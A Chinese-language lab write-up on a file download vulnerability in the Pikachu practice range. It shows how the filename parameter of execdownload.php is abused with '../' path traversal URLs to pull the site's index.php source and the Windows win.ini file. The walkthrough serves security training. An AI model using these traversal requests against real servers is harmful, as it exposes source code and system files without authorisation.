目录
漏洞挖掘
1.登录pikachu靶场,开始尝试寻找文件下载漏洞的漏洞点在哪里!
2.点击图片下面的超链接,文件正常被下载到本地
3.但是url地址栏没有发生变化,使用bp抓包,看它使用了哪种传参方式
传参方式为get传参,传参的参数为filename,我们可以直接可以拼凑下载链接,完成下载文件。
http://靶机ip/vul/unsafedownload/execdownload.php?filename=(需要下载的文件名)
4.进入白盒测试,我们在该目录下新建一个txt文件,看是否可以完成下载
5.下载该目录下的文件1.txt,拼凑链接
http://靶机ip/vul/unsafedownload/execdownload.php?filename=1.txt
漏洞测试
1.我们尝试一下,如果不在该目录下,是否可以下载,把1.txt放在在该目录的上一级目录里
http://靶机ip/vul/unsafedownload/execdownload.php?filename=../1.txt
成功下载不在该目录下的文件1.txt
2.我们再尝试一下,如果不在pikachu-master目录下,是否可以下载www目录下的1.txt文件
http://靶机ip/vul/unsafedownload/execdownload.php?filename=../../../../1.txt
思考:我们可以使用相对路径下载文件,那是否也可以使用绝对路径下载文件呢?
http://靶机ip/vul/unsafedownload/execdownload.php?filename=C:\phpstudy_pro\WWW\1.txt
显示文件不存在,使用绝对路径下载文件失败
由此证明,我们只能使用相对路径下载文件,不能使用绝对路径。
漏洞利用
1.可以获取pikachu靶场的源码index.php
构造链接:http://靶机ip/vul/unsafedownload/execdownload.php?filename=../../../index.php
2.我们知道在windows目录下有一个配置文件win.ini,我们想要下载该文件,但是不确定文件所在位置,我们就多返回几级目录,构造链接:
http://靶机ip/vul/unsafedownload/execdownload.php?filename=../../../../../../../../../windows/win.ini
总结
不安全文件下载漏洞,只要我们知道文件的位置,我们就可以使用相对路径下载。